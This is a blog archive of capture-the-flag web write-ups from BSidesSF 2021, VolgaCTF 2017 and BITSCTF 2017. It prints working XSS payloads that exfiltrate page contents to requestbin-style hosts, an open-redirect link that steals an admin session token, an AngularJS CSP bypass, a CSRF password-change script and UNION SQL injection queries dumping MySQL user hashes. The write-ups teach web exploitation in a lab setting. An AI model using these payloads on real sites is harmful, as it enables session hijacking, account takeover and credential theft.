Showing posts with label xss. Show all posts
Showing posts with label xss. Show all posts

Monday, March 15, 2021

BSidesSF 2021 - Web Challenges

CuteSRV (101)

Description:
Last year was pretty tough for all of us.
I built this service of cute photos to help cheer you up.
We do moderate for cuteness, so no inappropriate photos please!

https://cutesrv-0186d981.challenges.bsidessf.net

(author: matir)

This challenge was fun, cute and straight-forward once the bug is found.

First we're presented with a page of cute photos and the nav bar allows us to Login or Submit a new image for review.

Looking in the source, there's a /flag.txt route which must be the goal of the challenge, but when visiting it we get a message 'Not Authorized'.

If we visit Login we can click the only link available and it will automatically log us in and redirect us to the main page.

on /submit it gives us the ability to submit a URL which the admin will visit. This is typical in a lot of CSRF challenges, so we can start by checking the User-Agent and other features when it visits our link, pointing to a server we own or using something like https://requestbin.io/.

Even if we find XSS, the site is using HttpOnly cookies, so we probably need to find something else.

Checking out the Login route again while watching the requests, it does something interesting. When requesting /check from the login service it will include the session token in the URL, but does not restrict which URL it redirects to. Using this bug we can force the Admin user to send their own session token to our site instead.

We can use RequestBin again to steal the session token authtok, submitting this link to the admin:

https://loginsvc-0af88b56.challenges.bsidessf.net/check?continue=https%3A%2F%2Frequestbin.io%2F1oar7lu1

Now we can reach the /flag.txt route which is only available to the admin:

curl https://cutesrv-0186d981.challenges.bsidessf.net/flag.txt \
-b 'loginsid=eyJhbGciOiJFUzI1NiIsInR5cCI6IkpXVCJ9.eyJhdWQiOiJhdXRodG9rIiwiZXhwIjoxNjE4NDYyMjkyLCJpYXQiOjE2MTU3ODM4OTIsImlzcyI6ImxvZ2luc3ZjIiwibmJmIjoxNjE1NzgzODkyLCJzdWIiOiJhZG1pbiJ9.iA3lgwhmhOPNKh0_Wxmi923EOWdcUWcS-cIA_lxPhtExEGMeGkep3zweJ-MXtFyOwiDnMZ7Uuyuth9mFQ0lpMQ' 

And we get the Flag!

FLAG: CTF{i_hope_you_made_it_through_2020_okay}

CSP 1 (101)

Description:

CSP challenges are back! Can you bypass the CSP to steal the flag?

https://csp-1-581db2b1.challenges.bsidessf.net

(flag path: /csp-one-flag)

(author: itsc0rg1)

If we look at the Content Security Policy (CSP) for this page, we can see it's very open. To identify this, you can learn each rule or use a tool such as https://csp-evaluator.withgoogle.com/.

The CSP in this case was:

default-src 'self' 'unsafe-inline' 'unsafe-eval'; script-src-elem 'self'; connect-src *

The unsafe-inline keyword will allow execution of arbitrary inline scripts.

Let's start with a simple XSS payload:

<img src=x onerror=alert(1) />

This already works! So now we only need to get the flag from the /csp-one-flag route after the admin visits it. We can use fetch for this. We'll also use https://requestbin.io/ again.

Here's the final payload submitted to the admin:

<img src=x onerror='fetch("/csp-one-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/yj1y96yj?x=" + t))' />

And we get a flag back on the RequestBin side:

CTF{Can_Send_Payloads}

CSP 2 (101)

Description:

CSP challenges are back! Can you bypass the CSP to steal the flag?

https://csp-2-f692634b.challenges.bsidessf.net

(flag path: /csp-two-flag)

(author: itsc0rg1)

This challenge was simmilar to the last one where we need to send an XSS payload to an admin to get the flag.

Checking the CSP this time we have:

script-src 'self' cdnjs.cloudflare.com 'unsafe-eval'; default-src 'self' 'unsafe-inline'; connect-src *; report-uri /csp_report

This one has the issue of using script-src from cdnjs.cloudflare.com. If we can use a script from CloudFlare to execute arbitrary JS, we win!

To do this we can use Angular to evaluate JS within an Angular context. Here's a simple example to test:

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('alert(1)')()}}

This payload seems to work!

Now we just need to exfiltrate the flag like the last challenge using fetch.

<script src=https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.7.0/angular.min.js></script>
<x ng-app>{{$new.constructor('fetch("/csp-two-flag").then(x => x.text()).then(t => fetch("https://requestbin.io/1m40bkh1?x=" + t))')()}}

Then we get the Flag on RequestBin:

CTF{Can_Still_Pwn}

Monday, March 27, 2017

VolgaCTF 2017 Quals - Corp News (300)




Challenge Description:

We have created an excellent service for obtaining corporate news. You never know the secret information
corp-news.quals.2017.volgactf.ru
corp-news2.quals.2017.volgactf.ru

Hints

Some errors may shed light on what is there on the backend

This challenge was a lot of fun, it was a mix of 2 bugs and required a little recon to find out more about the technology on the server.

First, when poking around the server, it displayed errors in the standard NodeJS Express way, so we could assume for now it's running a Node server. Ex.:

http://corp-news.quals.2017.volgactf.ru/unknown-page

Cannot GET /unknown-page


Next we started looking at the cookies, this is where it got a little odd. We know the server is running Node & Express, why is there a cookie called PHPSESSIONID? What kind of mad world are we living in?!

PHPSESSID=s%3AtUPAeIpyJ6fxkjO495aXXk8uoeBLiPMx.oOGUyrAXrM%2FDwbeidRiY3WMVuYTLZOF1QdBX5uZnOiA

It turns out this had nothing to do with the rest of the challenge, maybe just a strange developer decision to keep similar names when dealing with sessions...


Once we're logged in, it redirects us to a profile page, the only feature on this page is a button to change our own password. There doesn't seem to be any apparent reason we would want to do this initially. Looking at the source it seemed fairly standard, the one interesting part to note is that there was some sort of CSRF token being passed to the backend for this page.



Home doesn't have much on it, so the next page to look at is News.



On the News page we get a small welcome message with a randomly generated username, a comment submission and a button to retrieve "private news".  Reading private news sounds like an attractive target, so let's start there.  When clicking this button we get a message written below saying:

Please, set debug header true, becouse the app in developing state:)


They want us to set some debug header, so let's see what we can modify. Initially we tried many different ideas. Sending HTTP headers, including 'debug=true', or 'debug:true' in the data of the post request, visiting News with ?debug=true, etc. It really came down to understanding what type of backend was setup.

First looking at the request in the front-end code, we can see some opportunities for modification:

...
<button onclick="loadNews()" class="btn btn-primary">Read private news</button>
...

function loadNews() {
    var data = {
    'resultFormat': 'text'
    }
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}

If we copy this function into the developer console and remove 'text' from the 'resultFormat' in data, we start to see an interesting error:

Error: `result_format` (texsdfsdft) is not recognized, ('auto', 'json', 'jsonp', 'text', and 'binary' are allowed).


When looking up '"result_format" javascript nodejs' on Google we find this issue on GitHub: https://github.com/rethinkdb/docs/issues/306#issuecomment-44475230

Under Optargs, this mentions: 'result_format=( text | json | jsonp | auto ): choose how to format the result (see below); default="auto"'

This looks very familiar! It sounds like we're working with RethinkDB on the backend!

Looking at the ReQL command reference on rethinkdb's site, we see the same options reflected back in the error - https://www.rethinkdb.com/api/javascript/http/#general-options

This was nice when verifying we were really working with RethinkDB. Any keys added to data which were invalid, would throw, otherwise it would silently succeed. Displaying the adjacency between our dynamic tests and the documentation.

The interesting part of the ReQL documentation was the Request Options, this showed us a place for headers & db query params:
https://www.rethinkdb.com/api/javascript/http/#request-options

method: HTTP method to use for the request. One of GET, POST, PUT, PATCH, DELETE or HEAD. Default: GET.
auth: object giving authentication, with the following fields:
type: basic (default) or digest
user: username
pass: password in plain text
params: object specifying URL parameters to append to the URL as encoded key/value pairs. { query: 'banana', limit: 2 } will be appended as ?query=banana&limit=2. Default: no parameters.
header: Extra header lines to include. The value may be an array of strings or an object. Default: Accept-Encoding: deflate;q=1, gzip;q=0.5 and User-Agent: RethinkDB/.
data: Data to send to the server on a POST, PUT, PATCH, or DELETE request. For POST requests, data may be either an object (which will be written to the body as form-encoded key/value pairs) or a string; for all other requests, data will be serialized as JSON and placed in the request body, sent as Content-Type: application/json. Default: no data will be sent.


The params feature would be great to control, unfortunately this did not work in this situation, and wasn't the intended target for this application. The key 'header' is very interesting for us, it allows us to inject custom headers which RethinkDB may use for various purposes. In this case, we're adding the custom debug flag:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}


After loading this new patch, we can see it returns a different response:

VolgaCTF is an international inter-university cybersecurity competition organised by a group of IT enthusiasts based in Samara, Russia.VolgaCTF 2017 Quals is an online competition. Top teams will be invited to participate in VolgaCTF 2017 Finals, which will be held in Samara, Russia.Registration for the competition will be opened at the end of February.

This was very nice to see, some progress that we're moving forward. Next let's look at the comment form.

When sending a standard comment, a small flash message pops up and disappears, nothing else noticeable happens.

Thank you, for your answer, my friend!:)

This seems like a good place to test for XSS. After setting up a small remote server, we can see the request go through.

For this article, I'll be setting up small tests on https://requestb.in/ to test it out again (very useful for this situation).

First we send a very simple XSS test to fingerprint the browser and figure out what we're working with:

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
  $.post("http://requestb.in/wtmd3swt", "SUCCESS!")
</script>

This returns the following values (including the success message):

Connect-Time: 1
X-Request-Id: 034f6890-6cc8-429a-9408-1f8cd4720112
Accept: */*
Cf-Visitor: {"scheme":"http"}
Total-Route-Time: 0
User-Agent: Mozilla/5.0 (Unknown; Linux x86_64) AppleWebKit/538.1 (KHTML, like Gecko) PhantomJS/2.1.1 Safari/538.1
Host: requestb.in
Cf-Connecting-Ip: 77.244.214.227
Accept-Encoding: gzip
Accept-Language: en-US,*
Via: 1.1 vegur
Origin: http://127.0.0.1:3000
Cf-Ray: 34604e8380f74f38-DME
Content-Length: 8
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Connection: close
Referer: http://127.0.0.1:3000/bot
Cf-Ipcountry: RU

There were Three notable pieces of information here. First was that this came from an automated PhantomJS browser. Second was the referrer mentioning the term bot as well as the idea that the bot was most likely on the same box as the server: 'http://127.0.0.1:3000/bot'. The third chunk of information was that this server was running on port 3000, not what we expect since we originally visited the application over port 80. If we check port 300 it does exist on the server (without many of the resources) - http://corp-news.quals.2017.volgactf.ru:3000/

So we have some randomly created user (and their name from the comment box) running our script, maybe we should go back to that profile section and see if we can change this user's password?

With a simple script we can pull the profile page for the bot at '/lk' and check the CSRF token setup. Taking this token we can pass it along to the '/change_password' route and send a success or failure message to another request bin - https://requestb.in/1hvn43r1?inspect

<script src="http://corp-news.quals.2017.volgactf.ru/public/vendor/bower_components/jquery/jquery.js"></script>
<script>
var SERVER = 'http://requestb.in/1hvn43r1';
var P = "__s0m3Passw0rdH3r3__";

$.get('/lk', function(d) {
  var t = $(d).find('.control-group .invisible').text();
  var data = { "new_password": P, "confirm_password": P, "token": t };
  $.ajax({
    type: 'POST',
    url: '/change_password',
    contentType: 'application/json',
    data: JSON.stringify(data),
    success: function(xhr) {
      $.post(SERVER, 'SUCCESS!!!');
    },
    error: function(xhr) {
      $.post(SERVER, 'ERRZ');
    }
  });
});
</script>


Looks like it worked! Now we can login as this user!

Immediately we see a difference after we login:

It looks like we've got a 'secret' header value to try out.  Let's go back to the News section and insert it into the header section.

Setting the loadNews() function up again with the new 'secret' value:

function loadNews() {
    var data = {
      'resultFormat': 'text',
      'header': {
         'secret': 'asdJHF7dsJF65$FKFJjfjd773ehd5fjsdf7',
         'debug': 'true'
      }
    };
    $.ajax({
        type: 'POST',
        url: '/news',
        contentType: "application/json",
        data: JSON.stringify(data),
        success: function(data){
            $('#private_news').text(data['message']);
            $('#private_news').show(0).delay(1500).hide(0);
        },
        error: function (xhr, ajaxOptions, thrownError) {
            data = JSON.parse(xhr.responseText);
            $('#private_news_error').text('Error: ' + data['message']);
            $('#private_news_error').show(0).delay(1500).hide(0); 
        }       
    });
}



And we have the flag!

VolgaCTF{rethinkdb_nearly_without_nosqlInj_and_some_clientside}


Monday, February 6, 2017

BITSCTF 2017 - Web [Batman vs Joker, Message the admin]


Batman vs Joker (30)



Visiting robots.txt instantly told us the type of challenge this would be:

Not Found

The requested URL /sql/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at joking.bitsctf.bits-quark.org Port 80

Looks like we're dealing with SQL injection! If we put a quote mark, we can see an error:

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '''' Limit 1' at line 1


With a little fiddling, it looks like we can simply union select two fields and grab whatever data we need.

Starting out with something simple, we try the most basic SQLi statement:

' or 1=1 #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker

So it dumps out a handful of characters from Harry Potter and the Joker. Let's see what else we can find:

' or 1=1  union select 1,@@version #
...
First name:1
Surname: 5.5.54-0+deb8u1

And we have MySQL 5.5.54 we're working with.

' or 1=1  union select user,password from mysql.user #
...
First name:root
Surname: *[redacted_for_article]
First name:debian-sys-maint
Surname: *[redacted_for_article]
First name:tester
Surname: *[redacted_for_article]

Wow, so we actually can dump the root password, that's nice! Thanks!

Then dumping the table information we can see our current CIA record table and an extra one (Joker):

' or 1=1  union select  table_schema,table_name FROM information_schema.tables #

...
Surname: INNODB_CMP_RESET
First name:information_schema
Surname: INNODB_BUFFER_PAGE_LRU
First name:hack
Surname: CIA_Official_Records     <<
First name:hack
Surname: Joker                    <<
First name:mysql
Surname: columns_priv
First name:mysql
...

Using this we can get the column name we're looking for (rather obvious in hindsight):

' or 1=1 union select table_name, column_name FROM information_schema.columns #

...
First name:CIA_Official_Records
Surname: username
First name:CIA_Official_Records
Surname: first_name
First name:CIA_Official_Records
Surname: last_name
First name:Joker
Surname: Flag                   <<<<
First name:Joker
Surname: HaHaHa
First name:columns_priv
Surname: Host
First name:columns_priv
Surname: Db
...

And now to grab the Flag!

' or 1=1 union select 1,Flag from Joker #

First name:Harry
Surname: Potter
First name:Hermione
Surname: Granger
First name:Ronald
Surname: Weasley
First name:Joker
Surname: Joker
First name:1
Surname: BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}


BITSCTF{wh4t_d03snt_k1ll_y0u_s1mply_m4k3s_y0u_str4ng3r!}



Message the admin (60)


This one went fairly quickly because some recent challenges were very similar. So it was still in muscle memory. The challenge was to send a message to the 'admin' (a PhantomJS server watching for messages), and include some payload to send to them. Most likely a CSRF or XSS challenge.



Hitting robots.txt really quickly we get:

Not Found

The requested URL /xss/robots.txt was not found on this server.

Apache/2.4.10 (Debian) Server at msgtheadmin.bitsctf.bits-quark.org Port 80

This tells us our assumption about XSS was correct, and we can proceed to include a payload that calls back to our server with some information.

Most initial payloads include document.cookie, but since the most recent challenge was to include page contents, that was the first check to try.

<script src='https://cdnjs.cloudflare.com/ajax/libs/jquery/3.1.1/jquery.js'></script>
<script>
  var x = $('body').html().toString();
  $.post('http://[some-server]/analytics', x);
</script>


Running a server and redirecting the output to an html file, we get this:




BITSCTF{hsr_1s_n0t_cr3ative}